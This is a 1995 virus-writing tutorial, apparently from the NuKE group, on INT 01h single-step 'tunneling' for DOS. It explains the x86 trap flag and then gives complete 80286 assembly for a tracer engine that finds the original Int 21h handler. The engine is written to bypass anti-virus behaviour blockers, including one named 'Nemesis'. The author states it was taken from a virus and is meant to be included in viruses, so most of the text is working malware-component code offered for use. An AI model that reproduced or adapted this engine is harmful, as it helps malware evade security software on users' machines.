Dark Fiber of [NuKE]
presents
Single Stepping Tunnel Techniques
Part 1
21st August 1995

      Tunneling with INT 01h is an easy thing to do, about as easy as writting
    *.COM file viruses, but, for some reason, guides for using INT 01h tunneling
    techniques dont exist like *.COM file virus guides do, so I'm goning to remedy
    that.

      The Intel and its clone 8086+ compatibles have a nice mode built into them
    called Single Stepping, and its VERY handy for programmers like us, who
    want to find something specific in memory, for example, the kernal Int 21h
    segment:offset, and bypassing other blocking TSR programs, such as Anti-Virus
    behaviour blockers.  This tunneling technique is not the be all and end all
    of tunneling, as I will discuss some techniques and why they work against
    this kind of tunneling further on.

      In order to use the Single Step mode, we need to modify one of the bits
    in the flag, and have set up an interrupt.

      The flag is a 16bit register and consists of the following fields.

                      .--.--.--.--.--.--.--.--.--.--.--.--.--.--.--.--.
              flags   |--|--|--|--|OF|DF|IF|TF|SF|ZF|--|AF|--|PF|--|CF|
                      '--'--'--'--'--'--'--'--'--'--'--'--'--'--'--'--'
                       0F 0E 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00

            CF : Carry Flag         Indicates an arithmatic carry
            -- : Unused
            PF : Parity Flag        Indicates an even number of 1 bits
            -- : Unused
            AF : Auxilary Flag      Indicates adjustment needed in BCD numbers
            -- : Unused
            ZF : Zero Flag          Indicates a zero result, or equal comparison
            SF : Sign Flag          Indicates negative result/comparison
            TF : Trap Flag          Controls Single Step operation
            IF : Interrupt Flag     Controls whether interrupts are enabled
            DF : Direction Flag     Controls increment direction on string regs.
            OF : Overflow Flag      Indicates signed arithmatic overflow
            -- : Unused
            -- : Unused
            -- : Unused
            -- : Unused

      The only one we need to concern ourselves with is the TF flag.
    When the trap flag is off, well, the Int 01h is not used, but when we turn
    the TF to on, the Int 01h routine is called BEFORE each instruction is
    executed.

      So, with that order in mind, you must hook the Int 01h, THEN turn on the
    trap flag.

      First thing that we must do is to hook Int 1h, then we need to set Int 1h,
    set the trap flag to on, then lastly, call a function that we wish to trace.

    For the example code presented, we will be tunneling Int 21h.
    All the code is for a minimum of an 80286 or greater, because I dont care
    for coding for the lesser 8086 machine. ;)

    ;== [ 80286+ | Priming the Tunnel code ] ======================================
    ; This code will save and hook INT 01h, and put the processor into single
    ; stepping mode.
    ;

    Int_01v:        dd ?                            ;Old address for Int 01h
    Int_21v:        dd ?                            ;the tracer modifies this.

    Tunnel:
            pusha                                   ;Save our registers,
            push    es                              ;Assume we are being called
            push    ds                              ;from an external source.

            mov     ax,03521h
            int     021h                            ;Get Int 21h
        cs: mov     word ptr [Int_21v],bx           ;Save Int 21h address
        cs: mov     word ptr [Int_21v + 2],es

            mov     al,01h                          ;Get Int 01h
            int     021h
        cs: mov     word ptr [Int_01v],bx           ;Save Int 01h address
        cs: mov     word ptr [Int_01v + 2],es

            push    cs
            pop     ds                              ;Set DS = CS for OUR Int 01
                                                    ;address.
            mov     ah,025h
            mov     dx,offset Int_01Handler         ;Our Int 01h routine
            int     21h                             ;Set our Int 01h routine

            ;This first PUSHF, is used in conjunction with the CALL FAR [Int_21v]
            ;code, as we need a FLAGS on the stack that has not got the TF
            ;turned to ON.

            pushf

            pushf
            pop     ax                              ;Save the flag
            or      ax,0100                         ;Set the TF to ON
            push    ax
            popf                                    ;restore the flags

            ;The moment we POPF the flags, the trace mode is initiated
            ;Because of the way it works, the first instruction immediatly
            ;following the POPF is NOT traced, tracing begins with the
            ;second instruction AFTER the POPF.

            mov     ax,03306                        ;Set AX for INTERNAL_DOS_VERS.
            call    far [Int_21v]                   ;Call the Int 21.
                                                    ;we are faking an INT 21 call.

            ;The Int_01Handler routine takes over from here until the trace
            ;is finished. Only when its finished will control pass back to this
            ;piece of code.

            ;When control is passed back, Int_21v will hold the segment:offset
            ;of the last cross segment jump before the trace ended.

            ;Restore the old Int_01h vector
            lds     dx,word ptr [Int_01v]
            mov     ax,02501
            int     21h

            pop     ds
            pop     es
            popa                                    ;Restore registers
            ret

    ;==============================================================================

      Okey, before I code the Int_1_Handler routine for you, we need to go
    over some more theory.

      First, is that the Int_1_Handler routine is designed to check what opcode
    is going to be run next, so we need to know what some of the opcodes that
    we will need to check for are.

            26h             ES:
            2Eh             CS:
            36h             SS:
            3Eh             DS:
                            These four are the segment overides, and are ALWAYS
                            placed BEFORE the opcode, but the CPU sees them as
                            part of the same opcode, so we must check for these
                            and then siphon them off, to get the byte value of
                            the real opcode.  We also use them for to determine
                            what segment to take data from on things like FAR
                            cross segment jumps.

            9Ch             PUSHF
                            We need to know this so we can get around Nemesis.

            9Dh             POPF
                            We need to check for the POPF because we dont want
                            any other program from turning off the TrapFlag, and
                            thus, dissableling our trace.

            CFh             IRET
                            This is what we use to signal that our trace should
                            end.

            EAh             JMP xxxx:yyyy
            FFh 1Eh         CALL FAR [xxxx]
            FFh 2Eh         JMP FAR [xxxx]

                            These three opcodes are used as cross segment jumps,
                            which commonly hold the seg:offs of the next Int hook.
                            Because the last two (FF1Eh, FF2Eh) take data from
                            the segment overide, or the current DS, we need to
                            know what that is too.

    ;== [ 80286+ | Tunnel Engine ] ================================================
    ;This is the actual code that does all the hard work.
    ;It has been somewhat (20bytes) optimised from the engine I used in Lady Death
    ;And bugfixed too ;)

    ;These are our register offsets into the SS:SP[BP]

            _rfl    equ 01A
            _rcs    equ 018
            _rip    equ 016
            _ax     equ 014
            _cx     equ 012
            _dx     equ 010
            _bx     equ  0E
            _sp     equ  0C
            _bp     equ  0A
            _si     equ  08
            _di     equ  06
            _es     equ  04
            _ds     equ  02
            _ss     equ  00

    Int_01Handler:
            pusha
            push    es
            push    ds                      ;Save ALL registers.
            push    ss                      ;Its not really nesecary to save SS ;)
            mov     bp,sp                   ;but this engine was built for expansion

            ;One thing to note, if you want to know the TRUE value of SP, that
            ;is, you must subtract 6 from it, which covers the calling cs, ip & f.
            ;and thats sub w[bp+_sp],6  not sub sp,6 ;)

            push    cs
            pop     ds

            test    b[_status],1
            je      RunNextTest_1
            xor     b[_status],1
            and     word ptr [bp+_rfl+2],0feff
            jmp     GetOpCode

    RunNextTest_1:

    GetOpCode:
            lds     si,word ptr [bp+22]     ;Get the seg:off of the next opcode

            cld                             ;clear direction
            lodsb                           ;get opcode

            ;AL now holds our bytevalue opcode.

            ;Check for a segment overide, and if not, assume its working in DS
            call    GetSegOveride           ;Get the segment overide
                                            ;bx = segment we will be using.

            ;Check the OPCode in AL
            cmp     al,09dh                 ;POPF?
            jne     ItsNotPOPF
            ;They are attempting to POP the flags.  Just incase they have tried
            ;to turn the TF off, we keep it turned on.
            or      word ptr [bp+_rfl+2],0100 ;Keep TRAPFLAG set to on.

    ItsNotPOPF:
            cmp     al,09c
            jne     ItsNotPUSHF
        cs: or      byte ptr [_status],1

    ItsNotPUSHF:
            cmp     al,0cf                          ;IRET
            jne     ItsNotIRET
            ;An IRET signals the end of our trace.
            ;So turn the TF to off.
            and     word ptr [bp+_rfl],0feff        ;Turn trace flag off

    ItsNotIRET:
            cmp     al,0eah                 ;Jmp xxxx:yyyy
            jne     ItsNotFarJump

            ;A Cross segment jump!  Save the seg:offset its going to jump into.
            ;The data for the cross seg jump is contained in the CS: seg.
            ;So, no change is needed.

    FarJumpData:
            lodsw
        cs: mov     word ptr [Int_21v+0],ax
            lodsw
        cs: mov     word ptr [Int_21v+2],ax
            jmp     RunNextOpCode

    ItsNotFarJump:
            cmp     al,0ffh                 ;jmp d[xxxx]
            jne     ItsNotJmpD

            cmp     byte ptr [si],01eh      ;jmp d[xxxx], type 1
            jne     ItsJmpD
            cmp     byte ptr [si],02eh      ;jmp d[xxxx], type 2
            jne     ItsNotJmpD

    ItsJmpD:
            inc     si                      ;skip jump type

            ;This opcode can use a segment override, so use it!
            mov     ds,bx                   ;segment override
            lodsw                           ;get storage offset of seg:offs
            mov     si,ax                   ;
            jmp     FarJumpData             ;treat it like jmp xxxx:yyyy

    ItsNotJmpD:
            ;Next opcode here....
            ;Well, we dont need to monitor any more opcodes....

    RunNextOpCode:
            pop     ss
            pop     ds
            pop     es                      ;Restore the flags
            popa
            iret                            ;Run the next opcode.

    GetSegOveride:
            cmp     al,026h                 ;ES
            jne     NotSegES
            mov     bx,word ptr [bp+_es]
            lodsb                           ;Skip seg overide, to get next opcode
            ret

    NotSegES:
            cmp     al,02eh                 ;CS
            jne     NotSegCS
            mov     bx,word ptr [bp+_rcs]
            lodsb                           ;Skip seg overide, to get next opcode
            ret

    NotSegCS:
            cmp     al,036h                 ;SS
            jne     NotSegSS
            mov     bx,word ptr [bp+_ss]
            lodsb                           ;Skip seg overide, to get next opcode
            ret

    NotSegSS:
            cmp     al,03eh                 ;DS
            jne     NotSegDS
            mov     bx,word ptr [bp+_ds]
            lodsb                           ;Skip seg overide, to get next opcode
            ret

    NotSegDS:
            mov     bx,word ptr [bp+_ds]    ;DS
            ret                             ;No override, so assume DS

    _status: db 0

    ;==============================================================================

      The code presented here is, when compiled, somewhere around 200bytes
    long.  Which I think is not too big, when you include it in a virus.
    The engine presented here was very basic in its structure.  It did not
    check for things like

                    JMP DOUBLE [BX+4]
                    JMP DOUBLE [BX]
                    JMP DOUBLE [SI-4]

                    etc,
                    or

                    CALL DOUBLE [BX]

    The reason being is that there are lots of other techniques for cross segment
    jumping, and including all types would expand the engine considerably, and
    they would not really be nesecary in a virus.

    Goto Part 2